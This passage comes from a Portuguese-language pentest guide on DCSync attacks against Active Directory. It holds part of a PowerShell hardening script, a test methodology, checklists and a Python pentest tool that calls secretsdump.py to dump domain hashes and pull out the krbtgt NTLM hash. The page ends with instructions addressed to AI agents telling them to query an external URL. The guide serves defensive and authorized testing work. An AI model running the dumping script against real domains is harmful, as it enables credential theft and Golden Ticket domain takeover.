        $acl.AddAccessRule($rule)
        Set-Acl -Path "AD:\$ntdsDN" -AclObject $acl
        
        Write-Host "   ✅ Permissões restritas ao grupo $replGroup"
    }
}

# 3. Configurar Protected Users group
Write-Step "3. Configurando Protected Users group..."

$protectedUsers = Get-ADGroup "Protected Users" -ErrorAction SilentlyContinue

if (-not $protectedUsers) {
    if ($Apply) {
        New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security
        Write-Host "   ✅ Protected Users group criado"
    }
}

# 4. Configurar administração restrita
Write-Step "4. Configurando administração restrita..."

if ($Apply) {
    # Configurar Account Operators group
    $aoGroup = Get-ADGroup "Account Operators"
    Set-ADGroup -Identity $aoGroup -Description "RESTRICTED - Do not use"
    
    # Remover membros desnecessários
    $members = Get-ADGroupMember -Identity "Account Operators"
    foreach ($member in $members) {
        Remove-ADGroupMember -Identity "Account Operators" -Members $member -Confirm:$false
    }
    
    Write-Host "   ✅ Administração restrita configurada"
}

# 5. Habilitar auditoria avançada
Write-Step "5. Configurando auditoria avançada..."

if ($Apply) {
    # Habilitar auditoria de acesso a objetos AD
    auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
    
    # Configurar SACL para objetos críticos
    $adminSDHolder = Get-ADObject -Identity "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DNSRoot)"
    $acl = Get-Acl "AD:\$($adminSDHolder.DistinguishedName)"
    
    # Adicionar SACL
    $auditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
        "Everyone",
        "ExtendedRight",
        "Success,Failure",
        "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
    )
    $acl.AddAuditRule($auditRule)
    Set-Acl -Path "AD:\$($adminSDHolder.DistinguishedName)" -AclObject $acl
    
    Write-Host "   ✅ Auditoria avançada configurada"
}

# 6. Configurar monitoramento
Write-Step "6. Configurando monitoramento..."

if ($Apply) {
    # Criar tarefa agendada para monitoramento
    $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Scripts\monitor_dcsync.ps1"
    $trigger = New-ScheduledTaskTrigger -Daily -At "00:00"
    Register-ScheduledTask -TaskName "MonitorDCSync" -Action $action -Trigger $trigger -User "SYSTEM"
    
    Write-Host "   ✅ Monitoramento configurado"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Controle de Permissões:
    - Restringir permissões de replicação
    - Usar grupos específicos para replicação
    - Revisar periodicamente delegações

  ✅ Proteção de Contas:
    - Usar Protected Users group
    - Contas de administração separadas
    - Implementar autenticação multifator

  ✅ Monitoramento:
    - Alertar sobre eventos 4662
    - Monitorar uso de DCSync
    - Correlacionar logons suspeitos

  ✅ Resposta a Incidentes:
    - Investigar imediatamente permissões excessivas
    - Rotacionar krbtgt hash
    - Revogar tickets suspeitos
```

***

## 🔬 **Pentesting com DCSync**

### **Metodologia de Teste**

```yaml
Fases do Teste DCSync:

  FASE 1 - Reconhecimento:
    - Identificar contas com permissões de replicação
    - Mapear grupos privilegiados
    - Analisar delegações de permissões

  FASE 2 - Análise de Permissões:
    - Verificar quem tem DS-Replication-Get-Changes
    - Testar se contas de serviço têm permissões
    - Analisar ACLs de objetos de replicação

  FASE 3 - Exploração Controlada:
    - Executar DCSync com conta autorizada
    - Extrair hashes de usuários
    - Gerar Golden Ticket

  FASE 4 - Validação:
    - Documentar vulnerabilidades
    - Demonstrar impacto
    - Recomendar correções
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# dcsync_pentest.py - Pentest automatizado DCSync

import argparse
import sys
import subprocess
import re

class DCSyncPentest:
    """Ferramenta de pentest para DCSync"""
    
    def __init__(self, domain, username, password, dc_ip):
        self.domain = domain
        self.username = username
        self.password = password
        self.dc_ip = dc_ip
        self.findings = []
    
    def check_permissions(self):
        """Verificar permissões de replicação"""
        print("[*] Verificando permissões de replicação...")
        
        # Usar ldapsearch para verificar permissões
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-D', f'{self.domain}\\{self.username}',
            '-w', self.password,
            '-b', f'CN=Configuration,DC={self.domain.replace(".", ",DC=")}',
            '(&(objectClass=nTDSDSA)(name=NTDS Settings))',
            'nTSecurityDescriptor'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if 'Replicating Directory Changes' in result.stdout:
                print("   ✅ Permissões de replicação detectadas")
                self.findings.append({
                    'type': 'DCSYNC_PERMISSIONS',
                    'severity': 'CRITICAL',
                    'details': f'Conta {self.username} tem permissões de replicação'
                })
                return True
        except:
            pass
        
        print("   ❌ Sem permissões de replicação")
        return False
    
    def list_replication_permissions(self):
        """Listar todas as contas com permissões de replicação"""
        print("[*] Listando contas com permissões de replicação...")
        
        # Em um pentest real, listaria todas as contas com permissões
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Extrair contas
            accounts = re.findall(r'([a-zA-Z0-9_]+):\d+', result.stdout)
            unique_accounts = list(set(accounts))
            
            print(f"   Total de contas: {len(unique_accounts)}")
            for account in unique_accounts[:10]:
                print(f"      • {account}")
            
            if len(unique_accounts) > 10:
                print(f"      ... e mais {len(unique_accounts) - 10} contas")
            
            self.findings.append({
                'type': 'REPLICATION_PERMISSIONS_LIST',
                'severity': 'HIGH',
                'details': f'{len(unique_accounts)} contas com dados replicáveis'
            })
            
            return unique_accounts
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return []
    
    def test_dcsync(self):
        """Testar DCSync com conta atual"""
        print("[*] Testando DCSync com conta atual...")
        
        # Tentar extrair hash do krbtgt
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc-user', 'krbtgt'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Verificar se conseguiu extrair hash
            if 'krbtgt' in result.stdout and ':' in result.stdout:
                print("   ✅ DCSync funcionou!")
                
                # Extrair hash
                lines = result.stdout.split('\n')
                for line in lines:
                    if 'krbtgt' in line and ':' in line:
                        parts = line.split(':')
                        if len(parts) >= 4:
                            ntlm_hash = parts[3]
                            print(f"   Hash krbtgt: {ntlm_hash}")
                            
                            self.findings.append({
                                'type': 'DCSYNC_SUCCESS',
                                'severity': 'CRITICAL',
                                'details': f'krbtgt hash extraído: {ntlm_hash}'
                            })
                            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        print("   ❌ DCSync falhou")
        return False
    
    def analyze_delegations(self):
        """Analisar delegações de permissões"""
        print("[*] Analisando delegações de permissões...")
        
        # Verificar se há delegações suspeitas
        self.findings.append({
            'type': 'DELEGATION_ANALYSIS',
            'severity': 'MEDIUM',
            'details': 'Revisar delegações de permissões de replicação'
        })
        
        print("   ✅ Análise concluída")
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST DCSync")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠' if finding['severity'] == 'HIGH' else '🟡'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Revise contas com permissões de replicação")
        print("   • Remova permissões de replicação de contas não autorizadas")
        print("   • Implemente monitoramento de eventos 4662")
        print("   • Use Protected Users group para contas privilegiadas")
        print("   • Rotacione o hash do krbtgt periodicamente")
    
    def run(self):
        """Executar pentest completo"""
        print("🚨 DCSync Pentest")
        print("=" * 60)
        
        if self.check_permissions():
            self.list_replication_permissions()
            self.test_dcsync()
        else:
            print("\n⚠️  Conta atual não tem permissões de replicação")
            print("   Listando contas que podem ter permissões...")
            self.list_replication_permissions()
        
        self.analyze_delegations()
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='DCSync Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    
    args = parser.parse_args()
    
    pentest = DCSyncPentest(args.domain, args.username, args.password, args.dc_ip)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Restringir permissões de replicação
* [ ] Usar grupos específicos para replicação
* [ ] Implementar Protected Users group
* [ ] Configurar auditoria avançada

#### **Monitoramento**

* [ ] Monitorar eventos 4662
* [ ] Alertar sobre permissões excessivas
* [ ] Verificar logs de autenticação
* [ ] Auditar permissões regularmente

#### **Resposta a Incidentes**

* [ ] Rotacionar hash do krbtgt
* [ ] Revogar Golden Tickets
* [ ] Revisar permissões de replicação
* [ ] Remover contas comprometidas

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar contas com permissões de replicação
* [ ] Mapear grupos privilegiados
* [ ] Analisar delegações

#### **Testes**

* [ ] Testar DCSync com contas autorizadas
* [ ] Verificar se contas de serviço têm permissões
* [ ] Tentar extrair hashes privilegiados

#### **Documentação**

* [ ] Documentar contas vulneráveis
* [ ] Demonstrar impacto do DCSync
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
DCSync Attack:

  🔴 Principais Vetores:
    - Permissões de replicação excessivas
    - Contas com DS-Replication-Get-Changes
    - Grupos privilegiados (Domain Admins)
    - Delegações mal configuradas

  🛡️ Mitigações Essenciais:
    - Restringir permissões de replicação
    - Monitorar eventos 4662
    - Usar Protected Users group
    - Rotacionar krbtgt hash

  🎯 Prioridade:
    - CRÍTICA: Permissões de replicação
    - ALTA: Contas com acesso privilegiado
    - MÉDIA: Delegações de permissões
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/dcsync-impersonacao-de-domain-controller.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.